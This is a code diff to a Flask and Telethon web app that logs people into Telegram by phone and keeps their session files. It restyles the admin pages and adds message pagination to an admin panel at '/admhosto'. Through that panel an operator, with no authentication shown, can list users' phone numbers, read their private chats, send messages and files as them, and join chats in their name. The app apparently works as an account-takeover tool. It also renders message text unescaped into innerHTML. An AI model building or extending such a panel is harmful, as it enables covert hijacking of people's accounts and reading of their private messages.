+        tr:nth-child(even) { background: #FDFEFE; }
         tr:hover { background: #E6F3FC; }
-        a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
+        a { color: #007AFF; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
         a:hover { text-decoration: underline; }
-        .back-button { margin-top: 30px; text-align: center; }
-        .back-button a { display: inline-block; padding: 10px 20px; background: #6C757D; color: white; border-radius: 8px; transition: background 0.3s ease; }
-        .back-button a:hover { background: #5A6268; text-decoration: none; }
+        .back-button { margin-top: 40px; text-align: center; }
+        .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; }
+        .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
+        @media (max-width: 768px) {
+            body { padding: 15px; }
+            .container { padding: 25px 20px; border-radius: 12px; }
+            h1 { font-size: 2em; margin-bottom: 20px; }
+            h2 { font-size: 1.5em; margin-bottom: 20px; }
+            table { font-size: 0.9em; }
+            th, td { padding: 12px 15px; }
+            .back-button a { padding: 10px 20px; font-size: 0.9em; }
+        }
+        @media (max-width: 600px) {
+            table, thead, tbody, th, td, tr { display: block; }
+            thead tr { position: absolute; top: -9999px; left: -9999px; }
+            tr { border: 1px solid #EFF2F5; margin-bottom: 15px; border-radius: 10px; overflow: hidden; }
+            td { border: none; border-bottom: 1px solid #EFF2F5; position: relative; padding-left: 50%; text-align: right; }
+            td:before { position: absolute; top: 0; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; text-align: left; font-weight: 600; color: #55606F; content: attr(data-label); }
+            td:last-child { border-bottom: none; }
+        }
     </style>
 </head>
 <body>
@@ -552,11 +648,11 @@ ADMHOSTO_TEMPLATE = '''
             <tbody>
                 {% for user in users %}
                 <tr>
-                    <td>{{ user[0] }}</td>
-                    <td>{{ user[1] }}</td>
-                    <td>{{ user[2] }}</td>
-                    <td>{{ user[3] }}</td>
-                    <td>
+                    <td data-label="ID">{{ user[0] }}</td>
+                    <td data-label="Telegram ID">{{ user[1] }}</td>
+                    <td data-label="Username">{{ user[2] }}</td>
+                    <td data-label="Phone">{{ user[3] }}</td>
+                    <td data-label="Actions">
                         <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
                     </td>
                 </tr>
@@ -578,45 +674,59 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>Manage: {{ user.username or user.phone }}</title>
-    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
+    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
     <style>
-        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 20px; }
-        .container { max-width: 1200px; margin: auto; background: #fff; padding: 30px; border-radius: 12px; box-shadow: 0 8px 20px rgba(0,0,0,0.15); }
-        h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 20px; font-weight: 700; }
-        .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #777; font-weight: 500; }
-        .split-panel { display: flex; gap: 25px; margin-top: 25px; }
-        .split-panel > div { flex: 1; background: #F9F9F9; padding: 25px; border-radius: 10px; border: 1px solid #EEE; }
-        h2 { margin-top: 0; font-size: 1.3em; font-weight: 600; color: #333; margin-bottom: 15px; }
-        input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid #DDD; border-radius: 8px; background: #FFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; }
-        input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
-        textarea { resize: vertical; min-height: 80px; }
-        button { background: #2AABEE; color: #fff; padding: 12px 20px; border: none; border-radius: 8px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease; }
-        button:hover { background: #1C91D0; transform: translateY(-1px); }
-        button:active { transform: translateY(0); }
-        .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid #DDD; border-radius: 8px; background: #FFF; }
-        .chat-item { padding: 14px 18px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
+        body { font-family: 'Inter', sans-serif; background: #F8F9FA; color: #333; margin: 0; padding: 25px; }
+        .container { max-width: 1200px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
+        h1 { text-align: center; color: #007AFF; margin-bottom: 25px; font-weight: 700; font-size: 2.5em; }
+        .user-info { text-align: center; margin-bottom: 30px; font-size: 1.05em; color: #66707B; font-weight: 500; line-height: 1.6; }
+        .split-panel { display: flex; gap: 25px; margin-top: 30px; }
+        .split-panel > div { flex: 1; background: #F8F9FA; padding: 30px; border-radius: 12px; border: 1px solid #E5E9EC; box-shadow: inset 0 1px 3px rgba(0,0,0,0.03); }
+        h2 { margin-top: 0; font-size: 1.4em; font-weight: 600; color: #1C1C1C; margin-bottom: 20px; border-bottom: 1px solid #E0E6EB; padding-bottom: 10px; }
+        input[type="text"], textarea { width: calc(100% - 28px); padding: 13px 15px; margin: 10px 0; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFFFFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
+        input[type="text"]:focus, textarea:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.1); outline: none; }
+        textarea { resize: vertical; min-height: 90px; }
+        button { background: #007AFF; color: #fff; padding: 13px 22px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.05em; font-weight: 600; margin-top: 18px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; box-shadow: 0 2px 8px rgba(0,122,255,0.2); }
+        button:hover { background: #006ACD; transform: translateY(-1px); box-shadow: 0 4px 10px rgba(0,122,255,0.3); }
+        button:active { transform: translateY(0); box-shadow: 0 1px 5px rgba(0,122,255,0.2); }
+        .chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFF; }
+        .chat-item { padding: 14px 20px; border-bottom: 1px solid #F5F7F9; cursor: pointer; transition: background 0.2s ease; }
         .chat-item:hover, .chat-item.active { background: #E6F3FC; }
         .chat-item:last-child { border-bottom: none; }
         .chat-item h3 { margin: 0; font-size: 1.05em; color: #1C1C1C; font-weight: 600; }
-        .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #666; }
-        .message-viewer { margin-top: 25px; background: #F9F9F9; padding: 25px; border-radius: 10px; border: 1px solid #EEE; }
-        .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid #DDD; border-radius: 8px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
-        .message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
-        .message-item.sent { background: #DCF8C6; align-self: flex-end; }
-        .message-item.received { background: #F1F0F0; align-self: flex-start; }
-        .message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
-        .message-text { color: #111; }
+        .chat-item p { margin: 5px 0 0; font-size: 0.88em; color: #66707B; }
+        .message-viewer { margin-top: 30px; background: #F8F9FA; padding: 30px; border-radius: 12px; border: 1px solid #E5E9EC; box-shadow: inset 0 1px 3px rgba(0,0,0,0.03); }
+        .messages-container { max-height: 550px; overflow-y: auto; padding: 15px; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
+        .load-more-btn { background: #007AFF; color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-size: 0.85em; margin-bottom: 15px; align-self: center; transition: background 0.2s; }
+        .load-more-btn:hover { background: #006ACD; }
+
+        .message-item { max-width: 80%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
+        .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
+        .message-item.received { background: #F0F0F0; align-self: flex-start; border-bottom-left-radius: 6px; }
+        .message-sender { font-weight: 600; color: #007AFF; margin-bottom: 4px; display: block; font-size: 0.85em; }
+        .message-text { color: #111; word-break: break-word; }
         .message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
-        .media-link { display: block; margin-top: 5px; color: #2AABEE; text-decoration: none; }
-        .back-button { margin-top: 30px; text-align: center; }
-        .back-button a { display: inline-block; padding: 10px 20px; background: #6C757D; color: white; border-radius: 8px; transition: background 0.3s ease; }
-        .back-button a:hover { background: #5A6268; text-decoration: none; }
+        .media-image { max-width: 100%; height: auto; display: block; margin-top: 8px; border-radius: 8px; }
+        .media-link { display: block; margin-top: 5px; color: #007AFF; text-decoration: none; font-size: 0.85em; }
+        .media-link:hover { text-decoration: underline; }
+        .back-button { margin-top: 40px; text-align: center; }
+        .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; }
+        .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
         .clear-chat-selection { text-align: center; margin-top: 15px; }
-        .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 8px; }
+        .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; font-size: 0.95em; }
         .clear-chat-selection button:hover { background: #5A6268; }
+        .send-file-btn { background: #28A745; margin-top: 10px; }
+        .send-file-btn:hover { background: #218838; }
 
         @media (max-width: 768px) {
-            .split-panel { flex-direction: column; }
+            .split-panel { flex-direction: column; gap: 20px; }
+            .split-panel > div { padding: 20px; border-radius: 10px; }
+            h2 { font-size: 1.25em; padding-bottom: 8px; }
+            input[type="text"], textarea { padding: 12px; font-size: 0.9em; }
+            button { padding: 12px 20px; font-size: 0.95em; margin-top: 15px; }
+            .chat-list { max-height: 300px; }
+            .message-viewer { padding: 20px; margin-top: 20px; border-radius: 10px; }
+            .messages-container { max-height: 400px; }
         }
     </style>
 </head>
@@ -629,10 +739,10 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
             <div class="action-panel">
                 <h2>Send Message</h2>
                 <input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)">
-                <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
+                <textarea id="sendMessageContent" rows="4" placeholder="Message content or caption"></textarea>
                 <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
                 <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
-                <button onclick="document.getElementById('sendFileInput').click()" style="background:#28A745;">Send File</button>
+                <button onclick="document.getElementById('sendFileInput').click()" class="send-file-btn">Send File</button>
 
                 <h2 style="margin-top: 30px;">Join Chat</h2>
                 <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
@@ -648,7 +758,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
                             <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
                         </div>
                     {% else %}
-                        <p style="padding: 15px; text-align: center;">No chats found.</p>
+                        <p style="padding: 15px; text-align: center; color: #777;">No chats found.</p>
                     {% endfor %}
                 </div>
                  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
@@ -657,48 +767,116 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
 
         <div class="message-viewer" id="messageViewer" style="display:none;">
             <h2 id="messagesChatTitle"></h2>
-            <div class="messages-container" id="messagesContainer"></div>
+            <div class="messages-container" id="messagesContainer">
+                <button class="load-more-btn" id="admLoadMoreMessagesBtn" style="display:none;">Load More Messages</button>
+            </div>
         </div>
 
         <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
     </div>
     <script>
+        let currentAdminChatId = null;
+        let currentAdminNextOffsetId = null;
+        const ADMIN_MESSAGES_LIMIT = 30;
+
         function clearChatSelection() {
             document.getElementById('messageViewer').style.display = 'none';
             document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
+            currentAdminChatId = null;
+            currentAdminNextOffsetId = null;
         }
 
         async function selectChat(userId, chatId, chatTitle) {
+            currentAdminChatId = chatId;
+            currentAdminNextOffsetId = null; 
+
             document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
             document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
 
             document.getElementById('messageViewer').style.display = 'block';
             document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
+            document.getElementById('messagesContainer').innerHTML = ''; 
+            document.getElementById('admLoadMoreMessagesBtn').style.display = 'none';
+
+            await fetchAdminMessages(userId, chatId);
+        }
+
+        async function fetchAdminMessages(userId, chatId, offsetId = null) {
             const messagesContainer = document.getElementById('messagesContainer');
-            messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading...</p>';
+            const loadMoreBtn = document.getElementById('admLoadMoreMessagesBtn');
 
-            const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages`);
+            if (!offsetId) {
+                messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading messages...</p>';
+                loadMoreBtn.style.display = 'none';
+            } else {
+                loadMoreBtn.textContent = 'Loading...';
+                loadMoreBtn.disabled = true;
+            }
+
+            const url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${ADMIN_MESSAGES_LIMIT}${offsetId ? '&offset_id=' + offsetId : ''}`;
+            const response = await fetch(url);
             const result = await response.json();
-            messagesContainer.innerHTML = '';
+
+            if (!offsetId) { 
+                messagesContainer.innerHTML = '';
+            }
+
             if (result.success && result.messages) {
                 result.messages.reverse().forEach(msg => {
                     const messageItem = document.createElement('div');
                     messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
                     let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
-                    let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
-                    messageItem.innerHTML = `${senderInfo}<div class="message-text">${msg.text || ''}</div>${mediaHtml}<div class="message-meta">${msg.date}</div>`;
+                    let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
+                    let mediaHtml = '';
+
+                    if (msg.file_name) {
+                        const downloadLink = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
+                        if (msg.is_image) {
+                            mediaHtml = `<img src="/download/${msg.file_name}" class="media-image" alt="Attached Image">${downloadLink}`;
+                        } else {
+                            mediaHtml = downloadLink;
+                        }
+                    }
+                    let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
+                    let metaHtml = `<div class="message-meta">${msg.date}</div>`;
+                    
+                    messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
                     messagesContainer.prepend(messageItem);
                 });
-                messagesContainer.scrollTop = messagesContainer.scrollHeight;
+
+                currentAdminNextOffsetId = result.next_offset_id;
+                if (currentAdminNextOffsetId) {
+                    loadMoreBtn.style.display = 'block';
+                    loadMoreBtn.textContent = 'Load More Messages';
+                    loadMoreBtn.disabled = false;
+                } else {
+                    loadMoreBtn.style.display = 'none';
+                }
+
+                if (!offsetId) {
+                    messagesContainer.scrollTop = messagesContainer.scrollHeight;
+                }
             } else {
-                messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
+                if (!offsetId) {
+                    messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
+                } else {
+                    messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">No more messages.</p>' + messagesContainer.innerHTML;
+                    loadMoreBtn.style.display = 'none';
+                }
             }
         }
 
+        document.getElementById('admLoadMoreMessagesBtn').addEventListener('click', () => {
+            if (currentAdminChatId && currentAdminNextOffsetId) {
+                fetchAdminMessages({{ user.id }}, currentAdminChatId, currentAdminNextOffsetId);
+            }
+        });
+
         async function sendMessage(userId) {
             const chatId = document.getElementById('sendMessageRecipient').value;
             const message = document.getElementById('sendMessageContent').value;
             if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
+            
             const response = await fetch(`/admhosto/send_message/${userId}`, {
                 method: 'POST',
                 headers: { 'Content-Type': 'application/json' },
@@ -706,7 +884,10 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
             });
             const result = await response.json();
             alert(result.message);
-            if (result.success) {
+            if (result.success && currentAdminChatId == chatId) {
+                currentAdminNextOffsetId = null; 
+                await fetchAdminMessages(userId, currentAdminChatId);
+            } else if (result.success) {
                 document.getElementById('sendMessageRecipient').value = '';
                 document.getElementById('sendMessageContent').value = '';
             }
@@ -737,6 +918,10 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
             });
             const result = await response.json();
             alert(result.message);
+            if (result.success && currentAdminChatId == chatId) {
+                currentAdminNextOffsetId = null; 
+                await fetchAdminMessages(userId, currentAdminChatId);
+            }
         }
 
         async function joinChat(userId) {
@@ -774,7 +959,6 @@ def api_login():
     session_hash = hashlib.md5(phone.encode()).hexdigest()
     session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
 
-    # Store phone and session file path in the Flask session for multi-step login
     session['current_login_phone'] = phone
     session['current_login_session_file'] = session_file_path
 
@@ -792,7 +976,7 @@ def api_login():
                                   (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
                         conn.commit()
                         user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
-                    session['user_id'] = user_db_id # Set the active user for this Flask session
+                    session['user_id'] = user_db_id
                     result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
                 else:
                     sent_code = await client.send_code_request(session['current_login_phone'])
@@ -859,10 +1043,10 @@ def api_logout():
             client, error = await get_user_client(user_id)
             if error: return
             try:
-                if client.is_connected():
+                if client and client.is_connected():
                     await client.log_out()
             except Exception:
-                pass # Ignore errors on logout, as session file might be invalid
+                pass 
             finally:
                 if client and client.is_connected():
                     await client.disconnect()
@@ -939,19 +1123,33 @@ def api_get_chat_messages(peer_id):
     user_id = session.get('user_id')
     if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
 
+    limit = int(request.args.get('limit', 30))
+    offset_id = int(request.args.get('offset_id')) if request.args.get('offset_id') else 0
+
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
-        if error: return None, error
+        if error: return None, None, error
 
         messages = []
+        next_offset_id = None
         try:
             entity = await client.get_entity(peer_id)
-            async for message in client.iter_messages(entity, limit=50, reverse=False):
+            fetched_messages = []
+            async for message in client.iter_messages(entity, limit=limit, offset_id=offset_id, reverse=False):
+                fetched_messages.append(message)
+            
+            if len(fetched_messages) == limit:
+                next_offset_id = fetched_messages[-1].id
+
+            for message in fetched_messages:
                 msg_data = {
                     'text': message.text,
                     'date': message.date.strftime("%b %d, %H:%M"),
                     'is_sent': message.out,
-                    'sender_name': 'Unknown'
+                    'sender_name': 'Unknown',
+                    'file_name': None,
+                    'file_size': None,
+                    'is_image': False
                 }
                 if message.sender:
                     if isinstance(message.sender, User):
@@ -959,40 +1157,55 @@ def api_get_chat_messages(peer_id):
                     elif hasattr(message.sender, 'title'):
                         msg_data['sender_name'] = message.sender.title
                     else:
-                        msg_data['sender_name'] = str(message.sender.id) # Fallback if no name found
+                        msg_data['sender_name'] = str(message.sender.id)
 
                 if message.media:
                     try:
-                        file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_')
+                        temp_file_name_prefix = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}"
+                        file_ext = ''
                         if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
                             for attr in message.media.document.attributes:
                                 if hasattr(attr, 'file_name'):
                                     file_name = attr.file_name
+                                    file_ext = Path(file_name).suffix.lower()
                                     break
                         elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
-                             file_name = f"photo_{message.media.photo.id}.jpg" # Simplified for photos
+                            file_name = f"photo_{message.media.photo.id}.jpg"
+                            file_ext = '.jpg'
+
+                        if not file_name:
+                             file_name = f"{temp_file_name_prefix}.unknown"
+                             if hasattr(message.media, 'mime_type') and message.media.mime_type:
+                                 file_name = f"{temp_file_name_prefix}.{message.media.mime_type.split('/')[-1].replace('+', '.')}"
+                        
+                        full_download_path = Path(DOWNLOAD_DIR) / file_name
+                        file_info = await client.download_media(message, file=full_download_path)
 
-                        file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
                         if file_info:
-                            file_path = Path(file_info)
-                            msg_data['file_name'] = file_path.name
-                            file_size = os.path.getsize(file_path)
+                            file_path_obj = Path(file_info)
+                            msg_data['file_name'] = file_path_obj.name
+                            
+                            detected_img_type = imghdr.what(file_path_obj)
+                            if detected_img_type:
+                                msg_data['is_image'] = True
+
+                            file_size = os.path.getsize(file_path_obj)
                             msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
                     except Exception as media_e:
                         msg_data['file_name'] = f"Download failed: {media_e}"
                 messages.append(msg_data)
         except Exception as e:
-            return None, str(e)
+            return None, None, str(e)
         finally:
             if client and client.is_connected():
                 await client.disconnect()
-        return messages, None
+        return messages, next_offset_id, None
 
-    messages, error = asyncio.run(_get_messages_async())
+    messages, next_offset_id, error = asyncio.run(_get_messages_async())
     if error:
         return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
     
-    return jsonify({'success': True, 'messages': messages})
+    return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id})
 
 @app.route('/api/send_message', methods=['POST'])
 def api_send_message():
@@ -1081,7 +1294,7 @@ def api_join_chat():
 
 @app.route('/download/<path:filename>')
 def download_file(filename):
-    return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=True)
+    return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=False) # Changed to False to allow direct viewing in browser
 
 @app.route('/admhosto')
 def admhosto_index():
@@ -1127,14 +1340,33 @@ def admhosto_manage_user_account(user_id):
 
 @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
 def admhosto_get_chat_messages(user_id, peer_id):
+    limit = int(request.args.get('limit', 30))
+    offset_id = int(request.args.get('offset_id')) if request.args.get('offset_id') else 0
+
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
-        if error: return None, error
+        if error: return None, None, error
         messages = []
+        next_offset_id = None
         try:
             entity = await client.get_entity(peer_id)
-            async for message in client.iter_messages(entity, limit=50, reverse=False):
-                msg_data = {'text': message.text, 'date': message.date.strftime("%b %d, %H:%M"), 'is_sent': message.out, 'sender_name': 'Unknown'}
+            fetched_messages = []
+            async for message in client.iter_messages(entity, limit=limit, offset_id=offset_id, reverse=False):
+                fetched_messages.append(message)
+
+            if len(fetched_messages) == limit:
+                next_offset_id = fetched_messages[-1].id
+
+            for message in fetched_messages:
+                msg_data = {
+                    'text': message.text, 
+                    'date': message.date.strftime("%b %d, %H:%M"), 
+                    'is_sent': message.out, 
+                    'sender_name': 'Unknown',
+                    'file_name': None,
+                    'file_size': None,
+                    'is_image': False
+                }
                 if message.sender:
                     if isinstance(message.sender, User):
                         msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
@@ -1145,33 +1377,48 @@ def admhosto_get_chat_messages(user_id, peer_id):
 
                 if message.media:
                     try:
-                        file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_')
+                        temp_file_name_prefix = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}"
+                        file_ext = ''
                         if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
                             for attr in message.media.document.attributes:
                                 if hasattr(attr, 'file_name'):
                                     file_name = attr.file_name
+                                    file_ext = Path(file_name).suffix.lower()
                                     break
                         elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
                              file_name = f"photo_{message.media.photo.id}.jpg"
+                             file_ext = '.jpg'
+                        
+                        if not file_name:
+                             file_name = f"{temp_file_name_prefix}.unknown"
+                             if hasattr(message.media, 'mime_type') and message.media.mime_type:
+                                 file_name = f"{temp_file_name_prefix}.{message.media.mime_type.split('/')[-1].replace('+', '.')}"
+
+                        full_download_path = Path(DOWNLOAD_DIR) / file_name
+                        file_info = await client.download_media(message, file=full_download_path)
                         
-                        file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
                         if file_info:
-                            file_path = Path(file_info)
-                            msg_data['file_name'] = file_path.name
-                            file_size = os.path.getsize(file_path)
+                            file_path_obj = Path(file_info)
+                            msg_data['file_name'] = file_path_obj.name
+
+                            detected_img_type = imghdr.what(file_path_obj)
+                            if detected_img_type:
+                                msg_data['is_image'] = True
+
+                            file_size = os.path.getsize(file_path_obj)
                             msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
                     except Exception as media_e:
                         msg_data['file_name'] = f"Download failed: {media_e}"
                 messages.append(msg_data)
         except Exception as e:
-            return None, str(e)
+            return None, None, str(e)
         finally:
             if client and client.is_connected(): await client.disconnect()
-        return messages, None
+        return messages, next_offset_id, None
 
-    messages, error = asyncio.run(_get_messages_async())
+    messages, next_offset_id, error = asyncio.run(_get_messages_async())
     if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
-    return jsonify({'success': True, 'messages': messages})
+    return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id})
 
 @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
 def admhosto_send_message(user_id):